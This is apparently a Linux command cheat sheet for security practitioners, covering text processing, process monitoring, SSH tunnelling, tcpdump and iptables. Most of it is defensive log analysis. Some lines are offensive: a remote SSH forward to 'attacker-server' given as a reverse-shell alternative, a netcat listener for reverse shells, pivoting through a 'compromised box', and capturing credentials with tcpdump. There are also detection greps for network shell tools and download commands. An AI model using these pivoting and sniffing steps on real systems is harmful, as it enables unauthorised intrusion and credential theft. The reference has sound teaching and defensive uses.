Pipes connect stdout of one command to stdin of another creating powerful data processing chains
Basic Piping Syntax
command1 | command2 # Single pipe
command1 | command2 | command3 # Multiple pipes
command1 2>&1 | command2 # Include stderr in pipe
Essential Pipe Patterns
# Count results
ps aux | wc -l
grep "error" syslog | wc -l
# Page through output
dmesg | less
cat large_file.txt | less
# Filter and process
ps aux | grep apache | awk '{print $2}'
cat /etc/passwd | cut -d: -f1 | sort
# Remove duplicates
history | cut -d' ' -f4- | sort | uniq
Advanced Piping with tee
The tee command writes to both stdout and files simultaneously
command | tee output.txt # Save and display
command | tee -a log.txt # Append mode
command | tee file1.txt file2.txt # Multiple files
ls -la | tee listing.txt | grep "^d" # Save and continue processing
Real-World Security Pipelines
# Extract and count attacking IPs
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn | head -20
# Find processes by memory usage
ps aux | sort -k4 -rn | head -10
# Analyze web server requests
cat access.log | awk '{print $1}' | sort | uniq -c | sort -rn
# Extract unique domains from URLs
grep -oE "https?://[^/]+" urls.txt | sort -u
# Monitor live authentication attempts
tail -f /var/log/auth.log | grep --line-buffered "Failed"
grep Pattern Matching and Search¶
grep is your text search workhorse
You'll use it thousands of times daily for log analysis , configuration review , and finding patterns in any text output
Basic grep Operations
grep "pattern" file.txt # Basic search
grep -i "error" log.txt # Case-insensitive
grep -v "DEBUG" app.log # Invert (exclude matches)
grep -n "TODO" code.py # Show line numbers
grep -c "GET" access.log # Count matches
grep -l "password" *.txt # List matching files
grep -w "root" /etc/passwd # Match whole word
grep -x "exact line" file.txt # Match entire line
Context and Surrounding Lines
grep -A 5 "error" log.txt # Show 5 lines After match
grep -B 5 "error" log.txt # Show 5 lines Before
grep -C 5 "error" log.txt # Show 5 lines Context (both directions)
Recursive Directory Searches
grep -r "password" /etc/ # Recursive search
grep -R "config" /var/www/ # Follow symlinks
grep -r --include="*.conf" "server" /etc/ # Only .conf files
grep -r --exclude="*.log" "pattern" /var/ # Exclude .log files
grep -r --exclude-dir=".git" "function" ./ # Exclude directories
Extended Regular Expressions
grep -E "error|warning|critical" syslog # Multiple patterns (OR)
grep -E "^[0-9]+" file.txt # Lines starting with digits
grep -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" log.txt # IP addresses
grep -E "(http|https|ftp)://[^ ]+" urls.txt # Extract URLs
Security Hunting with grep
# Failed SSH authentication
grep "Failed password" /var/log/auth.log
# Successful root logins
grep "Accepted.*root" /var/log/auth.log
# Sudo command execution
grep "COMMAND" /var/log/auth.log
# Potential SQL injection attempts
grep -i "union.*select\|concat.*char" /var/log/apache2/access.log
# Find credentials in files
grep -r -i "password\s*=\|api_key\s*=" /var/www/ --include="*.php"
# Extract email addresses
grep -oE "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b" documents.txt
# Hunt for suspicious cron jobs
grep -r "wget\|curl\|bash\|sh" /etc/cron* /var/spool/cron* 2>/dev/null
Regular Expressions in Linux¶
Regular expressions are pattern-matching mini-language
Master regex to unlock powerful text processing in grep , sed , awk , perl , python and every tool that searches or transforms text
Basic Regex Metacharacters
. # Any single character except newline
^ # Start of line
$ # End of line
* # Zero or more of preceding element
+ # One or more (extended regex -E)
? # Zero or one (extended regex -E)
[] # Character class
[^] # Negated character class
| # Alternation OR (extended regex -E)
() # Grouping (extended regex -E)
\ # Escape special character
Character Classes
[abc] # Match a , b , or c
[a-z] # Any lowercase letter
[A-Z] # Any uppercase letter
[0-9] # Any digit
[a-zA-Z0-9] # Alphanumeric
[^0-9] # NOT a digit
Quantifiers
* # 0 or more
+ # 1 or more (use -E flag)
? # 0 or 1 (use -E flag)
{n} # Exactly n times
{n,} # n or more
{n,m} # Between n and m times
Anchors and Boundaries
^pattern # Start of line
pattern$ # End of line
\bword\b # Word boundary
^$ # Empty line
Practical Regex Patterns
# IPv4 address
grep -E "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" log.txt
# Email
grep -E "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" contacts.txt
# URL
grep -E "https?://[a-zA-Z0-9./?=_-]+" file.txt
# MAC address
grep -E "([0-9A-Fa-f]{2}:){5}[[0-9A-Fa-f]{2}" network.log
# Date YYYY-MM-DD
grep -E "[0-9]{4}-[0-9]{2}-[0-9]{2}" logs.txt
# Phone number US format
grep -E "\(?[0-9]{3}\)?[-. ]?[0-9]{3}[-. ]?[0-9]{4}" contacts.txt
# Credit card (basic pattern)
grep -E "[0-9]{4}[- ]?[0-9]{4}[- ]?[0-9]{4}[- ]?[0-9]{4}" data.txt
awk Text Processing Engine¶
awk is a complete programming language designed for text processing
It excels at column extraction , numeric calculations , and complex transformations
Basic awk Syntax
awk '{print}' file.txt # Print all lines
awk '{print $1}' file.txt # First column
awk '{print $1, $3}' file.txt # Columns 1 and 3
awk '{print $NF}' file.txt # Last column
awk '{print NR, $0}' file.txt # Add line numbers
Field Separators
awk -F: '{print $1}' /etc/passwd # Colon separator
awk -F',' '{print $2, $4}' data.csv # Comma separator
awk -F'[,:]' '{print $1}' file.txt # Multiple separators
awk 'BEGIN {FS=":"} {print $1, $7}' /etc/passwd # Set FS in BEGIN
Pattern Matching and Conditions
awk '/error/ {print}' log.txt # Lines containing "error"
awk '!/DEBUG/ {print}' app.log # Exclude pattern
awk '$3 > 1000 {print $1, $3}' data.txt # Numeric condition
awk 'NR > 10 {print}' file.txt # Skip first 10 lines
awk 'NR >= 5 && NR <= 15 {print}' file.txt # Line range
awk 'length($0) > 100 {print}' file.txt # Long lines
Built-in Variables
$0 # Entire line
$1..$NF # Field values
NF # Number of fields in current record
NR # Current record number (line number)
FNR # Record number in current file
FS # Input field separator
OFS # Output field separator
RS # Input record separator
ORS # Output record separator
FILENAME # Current filename
Arithmetic Operations
awk '{sum += $3} END {print sum}' numbers.txt # Sum column 3
awk '{sum += $3; count++} END {print sum/count}' data.txt # Average
awk '{total += $2} END {print total/1024/1024 " MB"}' sizes.txt # Convert to MB
awk 'BEGIN {max=0} {if($3 >max) max=$3} END {print max}' data.txt # Maximum
Security Analysis Examples
# Extract all usernames
awk -F: '{print $1}' /etc/passwd
# Normal users (UID >= 1000)
awk -F: '$3 >= 1000 {print $1, $3, $7}' /etc/passwd
# Count requests per IP
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -20
# Failed password attempts with details
awk '/Failed password/ {print $1, $2, $3, $9, "from", $11}' /var/log/auth.log
# Calculate total bandwidth
awk '{sum += $10} END {print "Total:", sum/1024/1024, "MB"}' access.log
# High CPU processes
ps aux | awk '$3 > 50.0 {print $1, $2, $3, $11}'
# Extract listening ports
ss -tulpn | awk 'NR>1 {split($5,a,":"); print a[length(a)]}' | sort -u
Advanced awk Programming
# BEGIN and END blocks
awk 'BEGIN {print "Report Started"} {print $0} END {print "Total Lines:", NR}' file.txt
# String functions
awk '{print toupper($1)}' file.txt # Convert to uppercase
awk '{print substr($0,1,20)}' file.txt # Extract substring
awk '{print length($0)}' file.txt # Line length
# Arrays
awk '{count[$1]++} END {for(ip in count) print ip, count[ip]}' access.log
# Multiple conditions
awk '{if($3>100) print $1,"HIGH"; else if($3>50) print $1,"MEDIUM"; else print $1,"LOW"}' data.txt
sed Stream Editor¶
sed performs find-replace and text transformations without opening an editor
Essential for config modifications , log sanitization , and bulk text changes
Basic Substitution
sed 's/old/new/' file.txt # Replace first occurrence per line
sed 's/old/new/g' file.txt # Global replace (all occurrences)
sed 's/old/new/gi' file.txt # Case-insensitive global
sed 's/old/new/3' file.txt # Replace 3rd occurrence
sed -i 's/old/new/g' file.txt # In-place edit
sed -i.bak 's/old/new/g' file.txt # In-place with backup
Line Selection and Printing
sed -n '10p' file.txt # Print line 10 only
sed -n '10,20p' file.txt # Print lines 10-20
sed -n '/pattern/p' file.txt # Print matching lines
sed -n '/start/,/end/p' file.txt # Print between patterns
sed -n '1,5p' file.txt # First 5 lines
Deletion Operations
sed '/pattern/d' file.txt # Delete matching lines
sed '10d' file.txt # Delete line 10
sed '10,20d' file.txt # Delete lines 10-20
sed '/^$/d' file.txt # Delete empty lines
sed '/^#/d' file.txt # Delete comment lines
sed '/^\s*$/d' file.txt # Delete empty or whitespace-only
Insertion and Appending
sed '5i\New text' file.txt # Insert before line 5
sed '5a\New text' file.txt # Append after line 5
sed '/pattern/i\New line' file.txt # Insert before match
sed '/pattern/a\New line' file.txt # Append after match
Advanced Text Manipulation
sed 's/^/PREFIX: /' file.txt # Add prefix to every line
sed 's/$/SUFFIX/' file.txt # Add suffix
sed 's/ */ /g' file.txt # Squeeze multiple spaces
sed 's/^[ \t]*//' file.txt # Remove leading whitespace
sed 's/[ \t]*$//' file.txt # Remove trailing whitespace
sed 's/\r$//' windows.txt # Remove Windows carriage returns
Multiple Operations
sed 's/foo/bar/g; s/old/new/g' file.txt # Multiple substitutions
sed -e 's/foo/bar/g' -e 's/old/new/g' file.txt # Alternative syntax
sed -f script.sed input.txt # Execute commands from file
Security Applications
# Remove comments and empty lines
sed '/^#/d; /^$/d' /etc/ssh/sshd_config
# Sanitize IPs in logs
sed 's/[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}/XXX.XXX.XXX.XXX/g' auth.log
# Extract URLs from HTML
sed -n 's/.*href="\([^"]*\)".*/\1/p' index.html
# Comment out configuration lines
sed '/^Port/s/^/#/' sshd_config
# Uncomment lines
sed '/^#.*PermitRootLogin/s/^#//' sshd_config
# Change all IP occurrences
sed -i 's/192\.168\.1\./10.0.0./g' network_config.txt
# Remove ANSI color codes
sed 's/\x1b\[[0-9;]*m//g' colored_output.txt
cut Column Extraction¶
cut extracts columns from delimited text
Simple and fast for basic column operations
Field-Based Extraction
cut -d: -f1 /etc/passwd # Extract usernames
cut -d: -f1,7 /etc/passwd # Username and shell
cut -d: -f1-3 /etc/passwd # Fields 1 through 3
cut -d',' -f2,4 data.csv # CSV columns 2 and 4
echo "192.168.1.100" | cut -d. -f1-3 # First 3 octets
Character-Based Extraction
cut -c1-10 file.txt # Characters 1-10
cut -c5- file.txt # From character 5 to end
cut -c-20 file.txt # First 20 characters
Practical Examples
# Extract just IP addresses from custom format log
cut -d' ' -f1 access.log | sort | uniq
# Get all shells in use
cut -d: -f7 /etc/passwd | sort | uniq
# Extract process names
ps aux | tr -s ' ' | cut -d' ' -f11
# Parse colon-delimited data
cat data.txt | cut -d: -f2,3,5
sort and uniq Data Organization¶
sort arranges lines alphabetically or numerically
uniq remove or count duplicate adjacent lines
Basic Sorting
sort file.txt # Alphabetical sort
sort -r file.txt # Reverse order
sort -n numbers.txt # Numeric sort
sort -h filesizes.txt # Human-readable numbers (1K , 2M)
sort -u file.txt # Sort and remove duplicates
Advanced Sorting Options
sort -k 2 data.txt # Sort by column 2
sort -k 2,2 -k 3,3 data.txt # Sort by columns 2 then 3
sort -t: -k3 -n /etc/passwd # Numeric sort by UID
sort -t',' -k2 -rn data.csv # Reverse numeric on 2nd field
Unique Operations
sort file.txt | uniq # Remove adjacent duplicates
sort file.txt | uniq -c # Count occurrences
sort file.txt | uniq -d # Show only duplicates
sort file.txt | uniq -u # Show only unique lines
Security Analysis Pipelines
# Top attacking IPs
awk '{print $1}' access.log |
sort | uniq -c | sort -rn | head -20
# Count unique error messages
grep "error" app.log | sort | uniq -c | sort -rn
# Find duplicate entries
sort /etc/passwd | uniq -d
# Top requested URLs
awk '{print $7}' access.log | sort | uniq -c | sort -rn | head -10
# Numeric sort by file size
ls -l | awk '{print $5, $9}' | sort -nr
tr Character Translation¶
tr translates or deletes characters
Perfect for case conversions and character substitutions
echo "hello" | tr 'a-z' 'A-Z' # Uppercase
echo "192.168.1.1" | tr '.' '\n' # Replace dots
echo "hello world" | tr ' ' '_' # Replace spaces
echo "hello123" | tr -d '0-9' # Delete digits
cat file.txt | tr -d '\r' # Remove carriage returns
echo "a b c" | tr -s ' ' # Squeeze multiple spaces
wc Word and Line Counting¶
wc counts lines , words , and characters
wc -l file.txt # Count lines
wc -w file.txt # Count words
wc -c file.txt # Count bytes
grep "Failed" /var/log/auth.log | wc -l # Count matches
ps aux | wc -l # Count processes
diff and patch File Comparison¶
diff shows differences between files
diff file1.txt file2.txt # Show changes
diff -u file1.txt file2.txt # Unified format
diff -r dir1/ dir2/ # Directory comparison
diff -u old.conf new.conf > changes.patch # Create patch
patch old.conf < changes.patch # Apply patch
Security use - compare configs before and after changes to detect tampering
Building Analysis Pipelines¶
Combining commands creates powerful workflows
# Top attacking IPs
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn | head -10
# Find large recent files
find / -type f -mtime -7 2>/dev/null | xargs ls -lh | awk '$5 ~ /G/ {print}'
# Process memory ranking
ps aux | awk '{print $6/1024, $11}' | sort -rn | head -15
# Network connections by state
ss -tan | awk 'NR>1 {print $1}' | sort | uniq -c
Understanding Linux Processes¶
Every running program is a process
Processes have unique PIDs , parent-child relationships , resource usage , and states
Process States
- R (Running) - Currently executing or ready to run
- S (Sleeping) - Waiting for event (interruptible)
- D (Disk Sleep) - Waiting for I/O (uninterruptible)
- Z (Zombie) - Terminated but not reaped by parent
- T (Stopped) - Stopped by signal or debugging
- I (Idle) - Kernel thread
Process Attributes
ps -p $$ -o pid,ppid,cmd,state,nice,%cpu,%mem # Current shell process
ps aux | head # All processes
cat /proc/$$/status # Detailed process info
Each process has PID (process ID) , PPID (parent process ID) , UID (user ID) , priority , memory usage , and execution state
Process Viewing with ps¶
ps shows snapshot of current processes
Learn ps flags to filter and format process information effectively
Common ps Formats
ps aux # All processes , all users
ps -ef # Alternative full format
ps -u username # Processes by specific user
ps -p 1234 # Specific PID
ps -C apache2 # Processes by command name
ps --forest # Tree view (parent-child)
ps aux --sort=-%mem # Sort by memory usage
ps aux --sort=-%cpu # Sort by CPU usage
ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%mem | head # Custom columns
Output Column Meanings
USER - Process owner
PID - Process ID
%CPU - CPU usage percentage
%MEM - Memory usage percentage
VSZ - Virtual memory size (KB)
RSS - Resident set size (physical memory in KB)
TTY - Controlling terminal (? means no terminal)
STAT - Process state (R,S,D,Z,T,I with modifiers)
START - Start time
TIME - Cumulative CPU time
COMMAND - Command with arguments
Security Enumeration
ps aux | grep root # Root-owned processes
ps -u www-data # Web server processes
ps aux | grep -E "nc|ncat|socat" # Network tools running
ps -eo pid,user,args | grep -v "^\[.*\]" # Non-kernel processes
ps aux --forest | grep -A 5 -B 5 suspicious_proc # Process tree context
Real-time Monitoring top htop¶
top provides real-time dynamic view of running system
htop is enhanced version with better interface
top Interactive Commands
top # Start top
Inside top:
M- Sort by memory usageP- Sort by CPU usageT- Sort by running timek- Kill process (enter PID)r- Renice process (change priority)u- Filter by user1- Toggle individual CPU coresc- Toggle command line displayq- Quit
top Command-Line Options
top -u username # Monitor specific user
top -p 1234,5678 # Monitor specific PIDs
top -b -n 1 # Batch mode (one iteration)
top -d 5 # Update every 5 seconds
htop Advantages
htop # Start htop
htop features - mouse support , color-coded output , tree view built-in , easier process killing , scrollable process list , better visual representation
Load Average Interpretation
Top shows three load averages (1-minute , 5-minute , 15-minute)
Load represents average number of processes waiting for CPU
If load exceeds CPU core count , system is overloaded
On 4-core system: * Load 2.0 = 50% utilized * Load 4.0 = 100% utilized
* Load 8.0 = 200% overloaded (processes waiting)
Process Hierarchy and pstree¶
pstree displays processes in tree structure showing parent-child relationships
Essential for understanding process spawning and service dependencies
pstree # Show full process tree
pstree -p # Include PIDs
pstree -u # Show user transitions
pstree username # Tree for specific user
pstree -a # Show command arguments
pstree -h # Highlight current process
pstree -H 1234 # Highlight specific PID
Understanding Process Trees
systemd(1)───sshd(850)───sshd(1523)───bash(1524)───pstree(1600)
This shows systemd spawned sshd , which forked to handle connection , which spawned bash , which ran pstree
Security Analysis
pstree -p | grep -A 5 -B 5 suspicious # Context around suspicious process
pstree -u | grep www-data # Web server process tree
pstree -p $(pgrep malware) # Tree of specific process
Signals and Process Control¶
Signals are software interrupts sent to processes
Understanding signals is critical for process management and security
Common Signals
Signal Number Description
SIGHUP 1 Hangup (reload configuration)
SIGINT 2 Interrupt (Ctrl+C)
SIGQUIT 3 Quit (Ctrl+\)
SIGKILL 9 Kill (cannot be caught or ignored)
SIGTERM 15 Termination (graceful shutdown)
SIGSTOP 19 Stop (cannot be caught)
SIGCONT 18 Continue if stopped
SIGUSR1 10 User-defined signal 1
SIGUSR2 12 User-defined signal 2
Sending Signals
kill 1234 # Send SIGTERM (15)
kill -9 1234 # Send SIGKILL (force)
kill -HUP 1234 # Send SIGHUP (reload)
kill -STOP 1234 # Pause process
kill -CONT 1234 # Resume process
kill -l # List all signals
killall process_name # Kill by name
killall -9 hung_process # Force kill by name
pkill pattern # Kill by pattern match
pkill -9 -u baduser # Force kill user's processes
Signal Behavior
SIGTERM (15) requests graceful shutdown - process can cleanup
SIGKILL (9) immediately terminates - no cleanup possible
SIGHUP (1) often causes services to reload configuration without restarting
Security Implications
# Cannot kill process with SIGTERM
kill -9 rootkit_pid # Force termination
# Reload service configuration
kill -HUP $(cat /var/run/nginx.pid)
# Mass termination
pkill -9 -u compromised_user # Kill all user processes
Background and Foreground Jobs¶
Job control lets you manage multiple processes in single shell
Critical for managing long-running tasks without multiple terminals
Job Control Basics
./long_script.sh & # Start in background
# [1] 1234 (job number and PID displayed)
jobs # List background jobs
jobs -l # Include PIDs
fg # Bring most recent to foreground
fg %1 # Bring job 1 to foreground
bg # Resume suspended job in background
bg %2 # Resume job 2 in background
Suspending and Resuming
# Running command in foreground
Ctrl+Z # Suspend current process
# [1]+ Stopped ./script.sh
bg # Continue in background
fg # Bring back to foreground
Job References
%1 - Job number 1
%str - Job starting with str
%?str - Job containing str
%% - Current job
%+ - Current job
%- - Previous job
Killing Jobs
kill %1 # Kill job 1
kill %?script # Kill job matching pattern
Process Priority nice and renice¶
Process priority determines CPU scheduling
Nice values range from -20 (highest priority) to 19 (lowest priority)
Starting Process with Priority
nice -n 10 ./cpu_intensive.sh # Low priority (10)
nice -n -5 ./important.sh # High priority (-5, requires root)
nice --10 ./script.sh # Alternative syntax
Changing Running Process Priority
renice -n 5 -p 1234 # Change PID 1234 to nice 5
renice -n 10 -u username # Change all user's processes
renice -n -10 -p 1234 # Increase priority (requires root)
Viewing Process Priority
ps -o pid,nice,cmd # Show nice values
ps -eo pid,ni,cmd --sort=-ni # Sort by nice value
top # Shows NI column
Priority Ranges
Nice Priority Use Case
-20 Highest Critical system processes
-10 High Important services
0 Normal Default (most processes)
10 Low Background tasks
19 Lowest Batch processing
Security Considerations
Only root can increase priority (lower nice value)
Regular users can only decrease priority (increase nice value)
Prevent resource exhaustion by lowering untrusted process priority
renice -n 19 -u untrusted_user # Lowest priority for user
nice -n 15 ./suspicious_binary # Run untrusted code with low priority
Terminal Multiplexers screen and tmux¶
Terminal multiplexers create persistent sessions that survive disconnection
Essential for remote administration and long-running tasks
screen Basics
screen # Start new session
screen -S session_name # Named session
screen -ls # List sessions
screen -r # Reattach to session
screen -r session_name # Reattach to specific session
screen -d -r session_name # Detach elsewhere and reattach here
screen Commands (inside session)
Ctrl+A then D - Detach from session
Ctrl+A then C - Create new window
Ctrl+A then N - Next window
Ctrl+A then P - Previous window
Ctrl+A then K - Kill current window
Ctrl+A then [ - Enter copy mode
Ctrl+A then ] - Paste
Ctrl+A then ? - Help
tmux Basics
tmux # Start new session
tmux new -s session_name # Named session
tmux ls # List sessions
tmux attach -t session_name # Attach to session
tmux kill-session -t session_name # Kill session
tmux Commands (inside session)
Ctrl+B then D - Detach
Ctrl+B then C - New window
Ctrl+B then N - Next window
Ctrl+B then P - Previous window
Ctrl+B then % - Split pane vertically
Ctrl+B then " - Split pane horizontally
Ctrl+B then Arrow - Navigate panes
Ctrl+B then X - Kill pane
Ctrl+B then [ - Enter copy mode
Security Operations Usage
# Start persistent reverse shell listener
screen -S listener
nc -lvnp 4444
# Long-running scan
tmux new -s scan
nmap -sS -p- -T4 target_network
# Monitor logs continuously
screen -S logs
tail -f /var/log/auth.log
Multiplexers maintain sessions even if SSH connection drops
Reattach later to continue exactly where you left off
Process Monitoring lsof and fuser¶
lsof lists open files and network connections
fuser identifies processes using files or sockets
lsof File Operations
lsof # List all open files (huge output)
lsof /var/log/syslog # What process has file open
lsof +D /var/www/ # All open files in directory
lsof-p 1234 # Files opened by PID
lsof -u username # Files opened by user
lsof -c apache # Files opened by processes matching name
lsof Network Operations
lsof -i # All network connections
lsof -i :80 # What's using port 80
lsof -i :22 # SSH connections
lsof -i TCP # All TCP connections
lsof -i UDP # All UDP connections
lsof -i TCP:LISTEN # Listening TCP ports
lsof -i @192.168.1.5 # Connections to specific IP
Security Enumeration
# Find who's connected via SSH
lsof -i :22
# Check for suspicious network connections
lsof -i | grep ESTABLISHED | grep -v ":22\|:80\|:443"
# Find process with deleted binary (rootkit indicator)
lsof | grep deleted
# Check what user is doing
lsof -u suspicious_user
# Find all listening ports
lsof -i -P -n | grep LISTEN
fuser Usage
fuser /var/log/syslog # PIDs using file
fuser -v /var/log/syslog # Verbose output with user
fuser -k /var/log/syslog # Kill processes using file
fuser 80/tcp # What's using TCP port 80
fuser -n tcp 80 # Alternative syntax
fuser -k 4444/tcp # Kill process using port
System Call Tracing with strace¶
strace traces system calls made by processes
Invaluable for debugging and malware analysis
Basic strace Usage
strace ls # Trace ls command
strace -p 1234 # Attach to running process
strace -f -p 1234 # Follow forks
strace -e open ls # Trace only open() calls
strace -e trace=network nc -l 4444 # Trace network syscalls
strace -e trace=file cat /etc/passwd # Trace file operations
strace -c ls # Summary statistics
Common System Call Categories
strace -e trace=open,openat,read,write program # File I/O
strace -e trace=socket,connect,bind,accept program # Network
strace -e trace=process program # Process management
strace -e trace=signal program # Signal handling
strace -e trace=memory program # Memory operations
Output Control
strace -o output.txt ls # Save to file
strace -s 200 cat file # String size (default 32)
strace -t ls # Include timestamps
strace -T ls # Show time spent in each syscall
strace -v ls # Verbose (no abbreviations)
Security Analysis
# Trace what file a program tries to open
strace -e open,openat ./suspicious_binary 2>&1 | grep -i passwd
# Monitor network connections
strace -e trace=network ./program
# Find configuration files used
strace -e open,openat service_name 2>&1 | grep "\.conf"
# Detect anti-debugging
strace ./malware 2>&1 | grep ptrace
# Watch file access attempts
strace -e trace=file -f -p $(pgrep process_name)
strace output shows syscall name , arguments , and return value
Essential for understanding program behavior without source code
Network Interface Configuration¶
Modern Linux uses ip command for network configuration
ip addr show # All interfaces
ip addr add 192.168.1.100/24 dev eth0 # Add IP
ip link set eth0 up # Enable interface
ip route show # Routing table
ip route add default via 192.168.1.1 # Add gateway
ip neigh show # ARP table
Network Connectivity Testing¶
ping -c 4 8.8.8.8 # Test connectivity
traceroute google.com # Route tracing
mtr google.com # Combined ping/trace
nc -lvnp 4444 # Netcat listener
nc -zv host 1-1000 # Port scan
Socket Statistics ss and netstat¶
ss -tulpn # All listening with PIDs
ss -t state established # Established TCP
ss sport = :22 # SSH connections
netstat -tulpn # Legacy equivalent
DNS Resolution Tools¶
dig google.com # DNS lookup
dig @8.8.8.8 google.com # Specific DNS server
dig +trace google.com # Trace delegation
dig -x 8.8.8.8 # Reverse lookup
host google.com # Simple lookup
nslookup google.com # Interactive DNS
HTTP Operations curl and wget¶
curl http://example.com # GET request
curl -I http://site.com # Headers only
curl -X POST -d "data" http://api.com # POST request
curl -H "Auth: token" http://api.com # Custom header
wget http://site.com/file.zip # Download file
wget -r -k http://site.com # Mirror site
SSH Fundamentals and Key Management¶
SSH is the backbone of remote Linux administration
Master SSH completely for secure remote access
Basic SSH Connection
ssh user@192.168.1.5 # Default port 22
ssh -p 2222 user@host # Custom port
ssh -i ~/.ssh/id_rsa user@host # Specific key
ssh -v user@host # Verbose (debugging)
ssh -vvv user@host # Very verbose
ssh user@host 'uptime' # Execute single command
ssh user@host 'cat /etc/passwd' > local_file # Redirect output locally
SSH Key Generation
ssh-keygen -t rsa -b 4096 -C "comment" # RSA 4096-bit
ssh-keygen -t ed25519 -C "comment" # Ed25519 (modern)
ssh-keygen -t ecdsa -b 521 # ECDSA
ssh-keygen -p -f ~/.ssh/id_rsa # Change passphrase
SSH Key Distribution
ssh-copy-id user@host # Easy key deployment
ssh-copy-id -i ~/.ssh/id_custom.pub user@host # Specific key
cat ~/.ssh/id_rsa.pub | ssh user@host 'cat >> ~/.ssh/authorized_keys' # Manual method
SSH Agent
eval $(ssh-agent) # Start agent
ssh-add ~/.ssh/id_rsa # Add key to agent
ssh-add -l # List loaded keys
ssh-add -D # Remove all keys
ssh-add -t 3600 ~/.ssh/id_rsa # Add with 1-hour timeout
SSH Tunneling and Port Forwarding¶
SSH tunneling creates encrypted channels for traffic
Critical for pivoting through networks during penetration testing
Local Port Forwarding (-L)
Forward local port to remote destination through SSH server
ssh -L 8080:localhost:80 user@server
# Access localhost:8080 on your machine → connects to port 80 on server
Real-world examples:
# Access internal web interface
ssh -L 8080:internal.server:80 user@jumpbox
# Browse to localhost:8080
# Database access through bastion
ssh -L 3306:database.internal:3306 user@bastion
# Connect MySQL client to localhost:3306
# Multiple forwards
ssh -L 8080:web:80 -L 3306:db:3306 user@jump
Remote Port Forwarding (-R)
Forward remote port back to local machine
ssh -R 8080:localhost:80 user@server
# Port 8080 on server → connects back to port 80 on your machine
Use cases:
# Expose local web server to remote
ssh -R 9000:localhost:3000 user@public-server
# Reverse shell alternative
ssh -R 4444:localhost:22 user@attacker-server
Dynamic Port Forwarding (-D)
Creates SOCKS proxy for routing traffic
ssh -D 9050 user@server
# Configure browser/apps to use SOCKS5 proxy localhost:9050
# All traffic routes through server
Security operations:
# Route through compromised box
ssh -D 9050 user@pivotbox
# Configure proxychains or browser
# Combine with ProxyChains
# Edit /etc/proxychains.conf
# socks5 127.0.0.1 9050
proxychains nmap target_network
SSH ProxyJump and Config¶
ProxyJump hops through intermediate hosts
SSH config file saves connection settings
ProxyJump Command Line
ssh -J jumphost user@target # Single hop
ssh -J user1@hop1,user2@hop2 user3@target # Multiple hops
ssh -J jumpbox -L 8080:internal:80 user@target # Combine with tunneling
SSH Config File (~/.ssh/config)
Create persistent connection profiles
Host target
HostName 192.168.1.100
User pentester
Port 2222
IdentityFile ~/.ssh/target_key
LocalForward 8080 localhost:80
DynamicForward 9050
Host jumpbox
HostName jump.example.com
User admin
IdentityFile ~/.ssh/jump_key
Host internal
HostName 10.0.0.50
User admin
ProxyJump jumpbox
LocalForward 3306 localhost:3306
Host *
ServerAliveInterval 60
ServerAliveCountMax 3
Compression yes
Now connect with simple commands:
ssh target # Uses all saved settings
ssh internal # Automatically jumps through jumpbox
Advanced Config Options
StrictHostKeyChecking no # Skip host key verification (testing only)
UserKnownHostsFile /dev/null # Don't save host keys (testing only)
ControlMaster auto # Connection multiplexing
ControlPath ~/.ssh/cm-%r@%h:%p
ControlPersist 10m # Keep connection 10 minutes
Packet Capture with tcpdump¶
tcpdump captures and analyzes network packets
Essential for network troubleshooting and traffic analysis
Basic Capture
tcpdump -i eth0 # Capture on eth0
tcpdump -i any # All interfaces
tcpdump -n # Don't resolve hostnames
tcpdump -nn # Don't resolve hosts or ports
tcpdump -c 100 # Capture 100 packets then stop
tcpdump -w capture.pcap # Write to file
tcpdump -r capture.pcap # Read from file
Filters
tcpdump host 192.168.1.5 # Traffic to/from host
tcpdump src 192.168.1.5 # Source host only
tcpdump dst 192.168.1.5 # Destination host only
tcpdump port 80 # HTTP traffic
tcpdump portrange 1-1024 # Port range
tcpdump tcp # TCP only
tcpdump udp # UDP only
tcpdump icmp # ICMP only
Complex Filters
# HTTP traffic to/from specific host
tcpdump 'tcp port 80 and (src host 192.168.1.5 or dst host 192.168.1.5)'
# TCP SYN packets (connection attempts)
tcpdump 'tcp[tcpflags] & (tcp-syn) != 0'
# Non-SSH traffic
tcpdump 'port not 22'
# Capture passwords in FTP
tcpdump -A 'tcp port 21'
# DNS queries
tcpdump -n 'udp port 53'
Output Options
tcpdump -A # Print packets in ASCII
tcpdump -X # Print in hex and ASCII
tcpdump -v # Verbose
tcpdump -vv # More verbose
tcpdump -s 0 # Capture full packets (default 262144)
tcpdump -C 100 -w capture.pcap # Rotate file every 100MB
Security Analysis
# Capture credentials
tcpdump -A 'tcp port 21 or tcp port 23 or tcp port 80'
# Monitor DNS exfiltration
tcpdump -n 'udp port 53' | grep -E '[a-f0-9]{32,}'
# Detect port scanning
tcpdump 'tcp[tcpflags] == tcp-syn'
# Capture all traffic from suspicious IP
tcpdump -w suspicious.pcap host 203.0.113.5
# Monitor for reverse shells
tcpdump 'tcp dst port 4444 or tcp dst port 31337'
Firewall Management iptables and ufw¶
Control network traffic with packet filtering
iptables Fundamentals
# List rules
iptables -L -n -v # List all
iptables -L INPUT -n -v # Specific chain
iptables -S # Show as commands
# Default policies
iptables -P INPUT DROP # Drop incoming by default
iptables -P FORWARD DROP # Drop forwarding
iptables -P OUTPUT ACCEPT # Allow outgoing
# Allow loopback
iptables -A INPUT -i lo -j ACCEPT
# Allow established connections
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
# Allow specific services
iptables -A INPUT -p tcp --dport 22 -j ACCEPT # SSH
iptables -A INPUT -p tcp --dport 80 -j ACCEPT # HTTP
iptables -A INPUT -p tcp --dport 443 -j ACCEPT # HTTPS
# Block specific IP
iptables -A INPUT -s 203.0.113.5 -j DROP
# Delete rule
iptables -D INPUT 3 # Delete rule 3
iptables -F # Flush all rules
# Save/restore
iptables-save > /etc/iptables/rules.v4
iptables-restore < /etc/iptables/rules.v4
ufw Uncomplicated Firewall
Simpler iptables frontend
ufw status # Check status
ufw enable # Enable firewall
